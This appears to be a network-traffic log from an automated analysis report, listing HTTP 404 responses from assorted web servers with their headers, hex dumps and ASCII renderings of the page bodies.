Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:24 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 196Connection: keep-aliveVary: Accept-EncodingData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:24 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9X-Powered-By: PHP/5.4.16Transfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 38 0d 0a 3c 68 31 3e 34 30 34 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 18<h1>404: Not Found</h1>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmlserver: Microsoft-IIS/7.5x-powered-by: ASP.NETdate: Wed, 20 Dec 2023 02:13:24 GMTcontent-length: 1635Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 54 68 65 20 70 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 66 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 57 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0d 0a 3c 53 54 59 4c 45 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 42 4f 44 59 20 7b 20 66 6f 6e 74 3a 20 38 70 74 2f 31 32 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 48 31 20 7b 20 66 6f 6e 74 3a 20 31 33 70 74 2f 31 35 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 48 32 20 7b 20 66 6f 6e 74 3a 20 38 70 74 2f 31 32 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 41 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 72 65 64 20 7d 0d 0a 20 20 41 3a 76 69 73 69 74 65 64 20 7b 20 63 6f 6c 6f 72 3a 20 6d 61 72 6f 6f 6e 20 7d 0d 0a 3c 2f 53 54 59 4c 45 3e 0d 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 3c 54 41 42 4c 45 20 77 69 64 74 68 3d 35 30 30 20 62 6f 72 64 65 72 3d 30 20 63 65 6c 6c 73 70 61 63 69 6e 67 3d 31 30 3e 3c 54 52 3e 3c 54 44 3e 0d 0a 0d 0a 3c 68 31 3e 54 68 65 20 70 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 66 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 54 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 0d 0a 3c 68 72 3e 0d 0a 3c 70 3e 50 6c 65 61 73 65 20 74 72 79 20 74 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 3a 3c 2f 70 3e 0d 0a 3c 75 6c 3e 0d 0a 3c 6c 69 3e 4d 61 6b 65 20 73 75 72 65 20 74 68 61 74 20 74 68 65 20 57 65 62 20 73 69 74 65 20 61 64 64 72 65 73 73 20 64 69 73 70 6c 61 79 65 64 20 69 6e 20 74 68 65 20 61 64 64 72 65 73 73 20 62 61 72 20 6f 66 20 79 6f 75 72 20 62 72 6f 77 73 65 72 20 69 73 20 73 70 65 6c 6c 65 64 20 61 6e 64 20 66 6f 72 6d 61 74 74 65 64 20 63 6f 72 72 65 63 74 6c 79 2e 3c 2f 6c 69 3e 0d 0a 3c 6c 69 3e 49 66 20 79 6f 75 20 72 65 61 63 68 65 64 20 74 68 69 73 20 70 61 67 65 20 62 79 20 63 6c 69 63 6b 69 6e 67 20 61 20 6c 69 6e 6b 2c 20 63 6f 6e 74 61 63 74 0d 0a 20 74 68 65 20 57 65 62 20 73 69 74 65 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 74 6f 20 61 6c 65 72 74 20 74 68 65 6d 20 74 68 61 74 20 74 68 65 20 6c 69 6e 6b 20 69 73 20 69 6e 63 6f 72 72 65 63 74 6c 79 20 66 6f 72 6d 61 74 74 65 64 2e 0d 0a 3c 2f 6c 69 3e 0d 0a
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: no-cache, must-revalidate, max-age=0Content-Type: text/html; charset=UTF-8Expires: Wed, 11 Jan 1984 05:00:00 GMTServer: Microsoft-IIS/10.0X-Powered-By: PHP/7.4.2Link: <https://www.tgcan.co.uk/wp-json/>; rel="https://api.w.org/"X-Powered-By: ASP.NETDate: Wed, 20 Dec 2023 02:13:24 GMTContent-Length: 41957Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 61 76 61 64 61 2d 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 77 69 64 65 20 61 76 61 64 61 2d 68 74 6d 6c 2d 68 65 61 64 65 72 2d 70 6f 73 69 74 69 6f 6e 2d 74 6f 70 22 20 6c 61 6e 67 3d 22 65 6e 2d 47 42 22 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 66 62 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 2f 66 62 23 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 54 47 20 43 61 6e 20 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 77 77 77 2e 74 67 63 61 6e 2e 63 6f 2e 75 6b 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 73 2e 77 2e 6f 72 67 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 54 47 20 43 61 6e 20 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 20 26 72 61 71 75 6f 3b 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 67 63 61 6e 2e 63 6f 2e 75 6b 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 54 47 20 43 61 6e 20 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 20 26 72 61 71 75 6f 3b 20 43 6f 6d 6d 65 6e 74 73 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 7
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:24 GMTServer: ApacheSet-Cookie: is_mobile=0; path=/; domain=www.guymassey.comVary: X-W-SSL,User-AgentSet-Cookie: language=en; expires=Wed, 03-Jan-2024 02:13:24 GMT; Max-Age=1209600; path=/Set-Cookie: cookie-consent=%7B%22allowStrictlyNecessaryCookies%22%3Atrue%2C%22allowFunctionalityCookies%22%3Atrue%2C%22allowPerformanceCookies%22%3Atrue%2C%22allowTargetingCookies%22%3Atrue%2C%22allowInternalPerformanceCookies%22%3Atrue%7D; expires=Sat, 17-Dec-2033 02:13:24 GMT; Max-Age=315360000; path=/Cache-Control: privateX-Host: grn59.sf2p.intern.weebly.netX-UA-Compatible: IE=edge,chrome=1Content-Length: 3909Content-Type: text/html; charset=UTF-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 67 64 70 72 2f 67 64 70 72 73 63 72 69 70 74 2e 6a 73 3f 62 75 69 6c 64 54 69 6d 65 3d 31 37 30 33 30 31 37 34 32 36 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 2f 63 64 6e 31 2e 65 64 69 74 6d 79 73 69 74 65 2e 63 6f 6d 2f 64 65 76 65 6c 6f 70 65 72 2f 6e 6f 6e 65 2e 69 63 6f 22 20 2f 3e 0a 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><head><script src="/gdpr/gdprscript.js?buildTime=1703017426"></script><title>404 - Page Not Found</title><meta http-equiv="content-type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1"><meta name="robots" content="noarchive" /><link rel="shortcut icon" href="//cdn1.editmysite.com/developer/none.ico" /><style type="text
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveKeep-Alive: timeout=15Date: Wed, 20 Dec 2023 02:13:24 GMTServer: ApacheX-Frame-Options: denyContent-Encoding: gzipData Raw: 32 33 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 50 2a a0 d4 95 5a 84 90 b8 ac bd 63 7b 5a 7b 37 da 5d e7 03 c4 7f 67 bc 4e a4 84 b8 24 97 68 e7 e3 bd dd f7 66 1c 9f 7f 48 df 3f fc b8 bb 82 ca 35 f5 e5 59 dc ff 41 5c a1 90 97 67 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 6d e0 13 d6 6d 6a 04 b7 59 60 12 38 5c bb 28 b7 d6 67 3c d4 18 32 2d 37 63 78 b1 10 c6 29 34 63 a0 c2 88 06 e1 37 83 1e fe 2a a4 b2 72 b3 8b e9 f4 e5 fc 28 b9 22 e9 aa 67 72 8d 30 25 a9 d9 f4 b8 6b 21 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 9f b9 c9 12 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 8e 2f 96 89 fc a9 34 ba 55 72 e6 8c 50 96 d5 41 e5 0e eb fe 1c 88 d0 c9 38 20 9a 66 ca a2 d6 ab 59 45 52 a2 3a 46 88 23 6f d0 9e 87 fc 06 e6 4a 82 db f4 7b 00 8a bd 48 02 5c 2f c8 60 6f db d6 e9 5d 15 29 89 eb 31 14 ba 66 96 31 88 ba de 35 5d a7 e9 f5 cd d5 bb f4 a1 9f 83 7e 40 4e b7 19 9d 69 b7 a5 3a 0f 43 f8 e8 91 d9 25 f8 ca 23 16 3e 88 12 0a 5a a3 05 cb 42 72 38 24 6b 5b 3e 6a 05 8d ce 88 67 4d e2 92 72 8e 84 e1 c0 ab fc a0 24 7d 49 e8 0f 73 20 45 8e d8 95 0e 11 93 8b c9 74 0e 8d 58 53 d3 36 fb a1 d6 a2 f1 67 91 71 d5 74 be 7b e7 92 70 b5 d0 c6 75 cf 8c a3 ed 42 c4 9d 1f 9e 5e d2 12 48 26 c1 76 c0 7b 31 22 8e fa ac cd 0d 2d dc fe 7a 3c 8a a5 e8 a3 fd 96 48 9d b7 0d 1b 32 59 19 72 f8 ea c0 f4 dd 82 8c e2 ff e2 40 2d 54 d9 8a 92 9d fc cc e8 f7 9e 33 18 0d 42 ed 20 df c0 c8 9a 3c 09 a2 c8 a2 d4 7c f9 27 d6 7a 92 eb 26 2a 4c d3 1d a3 53 fd 2b 1e 0d bd 9a d4 3a 17 8e b4 9a 54 da 3a 60 d8 93 8d a3 4f e9 6d 7a 7f d7 53 7e fb 72 8a 67 14 75 d7 99 3c f2 cc 0c 97 32 67 fc 33 ea 15 fa a7 e4 75 b7 10 bc 02 5e 11 ef 5f ef 1b fb d8 7d e7 fe 02 e4 39 6b fe f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 23aTMo@WLP@qzCPZc{Z{7]gN$hfH?5YA\gqN@^c%AmmjY`8\(g<2-7cx)4c7r("gr0%k!$U2m$n]MRV.\TLX/4UrPA8 fYER:F#oJ{H\/`o])1f15]~@Ni:C%#>ZBr8$k[>jgMr$}Is EtXS6gqt{puB^H&v{1"-z<H2Yr@-T3B <\|'z&*LS+:T:`OmzS~rgu<2g3u^_}9k0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:24 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveCache-Control: privateSet-Cookie: ARRAffinity=3adacca6c2f81875efead5591d2a8d02faa6e8843c1dd1a10e8da178ce234c0c;Path=/;HttpOnly;Domain=micresearch.netX-AspNet-Version: 4.0.30319X-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Mv8SUstZmOGErwnUD%2FqmW3vblDXwJ4o5CTxfqECbE4SE9k76QXioqtiGhP8%2FFs5gM%2FMUYbXe0xYFGKgt%2FD1VZy50FEjWn06%2BVflbX4N96n4mnRtX4yv7WiwtnsgNZHHLddw%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 83845dab1df8b3e9-MIAContent-Encoding: gzipalt-svc: h3=":443"; ma=86400Data Raw: 36 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 14 c8 c1 0d 84 30 0c 04 c0 56 b6 00 74 d5 d0 c0 02 0b b1 2e b1 91 43 90 e8 1e 31 cf 99 8b 90 ea 31 72 15 9e 18 60 0a 35 e2 6f 7e 60 8f 44 61 c7 22 39 52 2d 6e 6d 13 0a 37 d8 d5 e1 6c c2 5a e8 c7 b7 91 b0 8e 4b ed 8c 64 5a 7d 30 9c 37 ad 72 a9 fa bd 00 00 00 ff ff 03 00 67 a8 2a 4b 67 00 00 00 0d 0a Data Ascii: 6c0Vt.C11r`5o~`Da"9R-nm7lZKdZ}07rg*Kg
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveKeep-Alive: timeout=15Date: Wed, 20 Dec 2023 02:13:24 GMTServer: ApacheX-Frame-Options: denyContent-Encoding: gzipData Raw: 32 33 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 b4 54 20 a8 2b 35 12 42 e2 b2 f6 8e ed 69 ed dd 68 77 9d 0f 10 ff 9d f1 3a 91 12 e2 92 5c a2 9d 8f f7 76 df 9b 71 7c 79 93 7e 5c fc 78 b8 85 ca 35 f5 f5 45 dc ff 41 5c a1 90 d7 17 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 7d e0 13 d6 6d 6b 04 b7 5d 62 12 38 dc b8 28 b7 d6 67 3c d4 18 32 2d b7 63 78 b5 14 c6 29 34 63 a0 c2 88 06 e1 37 83 1e ff 2a a4 b2 72 b3 ab e9 f4 f5 fc 24 b9 26 e9 aa 17 72 8d 30 25 a9 d9 f4 b4 6b 29 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 5f b8 c9 0a 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 4e 2f 96 89 fc b9 34 ba 55 72 e6 8c 50 96 d5 41 e5 8e eb fe 1c 89 d0 c9 38 20 9a 66 ca a2 d6 eb 59 45 52 a2 3a 45 88 23 6f d0 81 87 fc 06 e6 4a 82 fb f4 7b 00 8a bd 48 02 dc 2c c9 60 6f db ce e9 7d 15 29 89 9b 31 14 ba 66 96 31 88 ba de 37 dd a5 e9 dd d7 db 0f e9 a2 9f 83 7e 40 ce b7 19 9d 69 b7 a3 ba 0c 43 f8 e4 91 d9 25 f8 c6 23 16 2e 44 09 05 6d d0 82 65 21 39 1c 92 b5 2d 1f b5 82 46 67 c4 b3 26 71 45 39 47 c2 70 e0 55 7e 50 92 be 24 f4 87 39 90 22 47 ec 4a 87 88 c9 d5 64 3a 87 46 6c a8 69 9b c3 50 6b d1 f8 b3 c8 b8 6a 3a df bf 73 45 b8 5e 6a e3 ba 67 c6 d1 6e 21 e2 ce 0f 4f 2f 69 05 24 93 60 37 e0 bd 18 11 47 7d d6 e6 86 96 ee 70 3d 9e c4 4a f4 d1 7e 4b a4 ce db 86 0d 99 ac 0d 39 7c 73 64 fa 7e 41 46 f1 7f 71 a0 16 aa 6c 45 c9 4e 7e 61 f4 47 cf 19 8c 06 a1 f6 90 ef 60 64 4d 9e 04 51 64 51 6a be fc 33 6b 3d c9 75 13 15 a6 e9 8e d1 b9 fe 35 8f 86 5e 4f 6a 9d 0b 47 5a 4d 2a 6d 1d 30 ec d9 c6 d1 e7 f4 3e 7d 7c e8 29 6f 6e cf f1 8c a2 ee 3a 93 27 9e 99 e1 52 e6 8c 7f 46 bd 42 ff 94 bc ed 16 82 57 c0 2b e2 fd eb 7d 63 1f bb ef dc 5f 9d a7 e3 e7 f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 239TMo@WLP@qzCT +5Bihw:\vq\|y~\x5EA\qN@^c%A}mk]b8(g<2-cx)4c7r$&r0%k)$U2m$n]MRV._\TLXN/4UrPA8 fYER:E#oJ{H,`o})1f17~@iC%#.Dme!9-Fg&qE9GpU~P$9"GJd:FliPkj:sE^jgn!O/i$`7G}p=J~K9\|sd~AFqlEN~aG`dMQdQj3k=u5^OjGZMm0>}\|)on:'RFBW+}c_0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:24 GMTServer: ApacheSet-Cookie: is_mobile=0; path=/; domain=www.guymassey.comVary: X-W-SSL,User-AgentSet-Cookie: language=en; expires=Wed, 03-Jan-2024 02:13:24 GMT; Max-Age=1209600; path=/Set-Cookie: cookie-consent=%7B%22allowStrictlyNecessaryCookies%22%3Atrue%2C%22allowFunctionalityCookies%22%3Atrue%2C%22allowPerformanceCookies%22%3Atrue%2C%22allowTargetingCookies%22%3Atrue%2C%22allowInternalPerformanceCookies%22%3Atrue%7D; expires=Sat, 17-Dec-2033 02:13:24 GMT; Max-Age=315360000; path=/Cache-Control: privateX-Host: grn59.sf2p.intern.weebly.netX-UA-Compatible: IE=edge,chrome=1Content-Length: 3909Content-Type: text/html; charset=UTF-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 67 64 70 72 2f 67 64 70 72 73 63 72 69 70 74 2e 6a 73 3f 62 75 69 6c 64 54 69 6d 65 3d 31 37 30 33 30 31 37 34 32 36 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 2f 63 64 6e 31 2e 65 64 69 74 6d 79 73 69 74 65 2e 63 6f 6d 2f 64 65 76 65 6c 6f 70 65 72 2f 6e 6f 6e 65 2e 69 63 6f 22 20 2f 3e 0a 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><head><script src="/gdpr/gdprscript.js?buildTime=1703017426"></script><title>404 - Page Not Found</title><meta http-equiv="content-type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1"><meta name="robots" content="noarchive" /><link rel="shortcut icon" href="//cdn1.editmysite.com/developer/none.ico" /><style type="text
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmlserver: Microsoft-IIS/7.5x-powered-by: PHP/5.3.5x-powered-by: ASP.NETdate: Wed, 20 Dec 2023 02:13:24 GMTcontent-length: 1635Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 54 68 65 20 70 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 66 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 57 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0d 0a 3c 53 54 59 4c 45 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 42 4f 44 59 20 7b 20 66 6f 6e 74 3a 20 38 70 74 2f 31 32 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 48 31 20 7b 20 66 6f 6e 74 3a 20 31 33 70 74 2f 31 35 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 48 32 20 7b 20 66 6f 6e 74 3a 20 38 70 74 2f 31 32 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 41 3a 6c 69 6e 6b 20 7b 